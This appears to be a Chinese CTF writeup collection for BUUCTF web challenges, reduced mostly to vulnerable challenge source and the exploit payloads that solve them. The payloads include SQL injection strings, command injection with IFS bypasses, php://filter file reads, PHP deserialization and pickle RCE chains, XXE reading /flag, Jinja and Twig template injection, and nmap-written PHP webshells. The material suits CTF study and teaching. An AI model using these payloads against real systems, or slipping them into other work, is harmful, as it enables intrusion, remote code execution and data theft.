buuctf平台 Writeup（持续更新）

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<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

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source.php?/../../../../../../../../../../../ffffllllaaaagggg

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'; set @a=concat("sel","ect flag from `1919810931114514`"); prepare b from @a; execute b;--+

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'; Set @a=concat("sel","ect flag from `1919810931114514`"); Prepare b from @a; execute b;--+

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?ip=0;cat$IFS$9`ls$IFS$9|$IFS$9head$IFS$9-n1`

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secr3t.php
?file=php://filter/read=convert.base64-encode/resource=flag.php

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check.php?username=123&password=' or updatexml(1,concat(0x7e, (substr((select password from l0ve1ysq1 limit 15,1),1,32)),0x7e),1) or '
check.php?username=123&password=' or updatexml(1,concat(0x7e, (substr((select password from l0ve1ysq1 limit 15,1),30)),0x7e),1) or '

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?username=123
&password=' ununionion seselectlect 1, group_concat(username, passwoorrd),3 frofromm b4bsql  --+

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http://2a6bb8fd-e03e-458d-a2d3-9b78bca0c3d7.node4.buuoj.cn:81/levels91.php?a=240610708&b=QLTHNDT

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Param1[]=1Param2[]=1

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?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D

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?username=123
&password='^extractvalue(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1))))or'

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<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

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<?php

class FileHandler {

    public $op = 2;
    public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

}

$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
?>

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name=1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123

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?inject='; show tables; handler FlagHere open; handler FlagHere read first; handler close--+

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<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

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filename=WEB-INF/classes/com/wm/ctf/FlagController.class

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<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

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'%20<?php%20eval($_POST[cmd]);?>%20-oG%201.php%20'

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<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

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?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

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?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

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<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

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?\S*=${命令}

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<?php

$yds = "dog";
$is = "cat";
$handsome = 'yds';
$flag = file_get_contents('/flag');

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

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yds=flag

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<?xml version="1.0"?> 
<!DOCTYPE a [ 
    <!ENTITY wintrysec SYSTEM "file:///flag"> 
]> 
<user><username>&wintrysec;</username><password>123</password></user>

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{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

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?num=1e5&md5=0e215962017&get_flag=ca\t${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

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_SESSION['flagflag']=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

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Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

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<?php
class Modifier {
	protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
	public $source;
    public $str;
	public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
}

class Test{
	public $p;
}

$m = new Modifier();
$s = new Show();
$s_ = new Show();
$t = new Test();

$s_->source = $s;
$s->str = $t;
$t->p = $m;

echo urlencode(serialize($s_));

?>

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import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{\{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

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{{url_for.__globals__['current_app'].config}}

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host=<?php eval($_POST['cmd'])?> -oG test.php

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host=<?= @eval($_POST['cmd']);?> -oN test.phtml

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host=' <?= @eval($_POST['cmd']);?> -oN test.phtml '

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<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

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$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

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<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

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<?php
class HelloPhp
{
    public $a;
    public $b;
	public function __construct(){
        $this->a = "ls";
        $this->b = "system";
    }
}

$h = new HelloPhp;
echo serialize($h);
?>

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?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

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title=1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

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from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task: 
	def __init__(self, action, param, sign, ip):
		self.action = action
		self.param = param
		self.sign = sign
		self.sandbox = md5(ip)
		if(not os.path.exists(self.sandbox)):
			os.mkdir(self.sandbox)
	def Exec(self):
		result = {}
		result['code'] = 500
		if (self.checkSign()):
			if "scan" in self.action:
				tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
				resp = scan(self.param)
				if (resp == "Connection Timeout"):
					result['data'] = resp
				else:
					print resp tmpfile.write(resp)
					tmpfile.close()
					result['code'] = 200
			if "read" in self.action:
				f = open("./%s/result.txt" % self.sandbox, 'r')
				result['code'] = 200
				result['data'] = f.read()
			if result['code'] == 500:
				result['data'] = "Action Error"
			else:
				result['code'] = 500
				result['msg'] = "Sign Error"
		return result 
	def checkSign(self):
		if (getSign(self.action, self.param) == self.sign):
			return True
		else: 
			return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
	param = urllib.unquote(request.args.get("param", ""))
	action = "scan"
	return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
	action = urllib.unquote(request.cookies.get("action"))
	param = urllib.unquote(request.args.get("param", ""))
	sign = urllib.unquote(request.cookies.get("sign"))
	ip = request.remote_addr
	if(waf(param)): 
		return "No Hacker!!!!" 
	task = Task(action, param, sign, ip)
	return json.dumps(task.Exec())

@app.route('/')
def index():
	return open("code.txt","r").read()

def scan(param): 
	socket.setdefaulttimeout(1) 
	try: 
		return urllib.urlopen(param).read()[:50] 
	except: 
		return "Connection Timeout"

def getSign(action, param): 
	return hashlib.md5(secert_key + param + action).hexdigest() 

def md5(content): 
	return hashlib.md5(content).hexdigest() 

def waf(param): 
	check=param.strip().lower()
	if check.startswith("gopher") or check.startswith("file"): 
		return True 
	else: 
		return False 

if __name__ == '__main__': 
	app.debug = False
	app.run(host='0.0.0.0',port=80)

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@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl(): 
	url = request.args.get("url") 
	host = parse.urlparse(url).hostname 

	if host == 'suctf.cc': 
		return "我扌 your problem? 111" 

	parts = list(urlsplit(url)) 
	host = parts[1] 
	if host == 'suctf.cc': 
		return "我扌 your problem? 222 " + host 

	newhost = [] 
	for h in host.split('.'): 
		newhost.append(h.encode('idna').decode('utf-8')) 
	parts[1] = '.'.join(newhost) 
	finalUrl = urlunsplit(parts).split(' ')[0] 
	host = parse.urlparse(finalUrl).hostname 
	if host == 'suctf.cc': 
		return urllib.request.urlopen(finalUrl).read() 
	else: 
		return "我扌 your problem? 333"

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<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

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username=<!--#exec cmd="cd ..;cat flag_990c66bf85a09c664f0b6741840499b2" -->&password=2020666

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<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

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$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

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<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
  $json = $_REQUEST['cmd'];

  if (!is_string($json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
    echo 'Hacking attempt detected<br/><br/>';
  } else {
    echo 'Attempting to run command:<br/>';
    $cmd = json_decode($json, true)['cmd'];
    if ($cmd !== NULL) {
      system($cmd);
    } else {
      echo 'Invalid input';
    }
    echo '<br/><br/>';
  }
}

?>

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<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

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index.php/config.php/%aa?source

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import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

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import pickle
import urllib
import commands

class Rce(object): 
    def __reduce__(self):
        return (commands.getoutput,('ls',))

a = Rce()
print urllib.quote(pickle.dumps(a))

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include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}

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1' or updatexml(1,concat(0x7e,(substr((select load_file('/flag.txt')),1)),0x7e),1)--+

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<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

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10.244.80.206 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

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?urlfilename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=a

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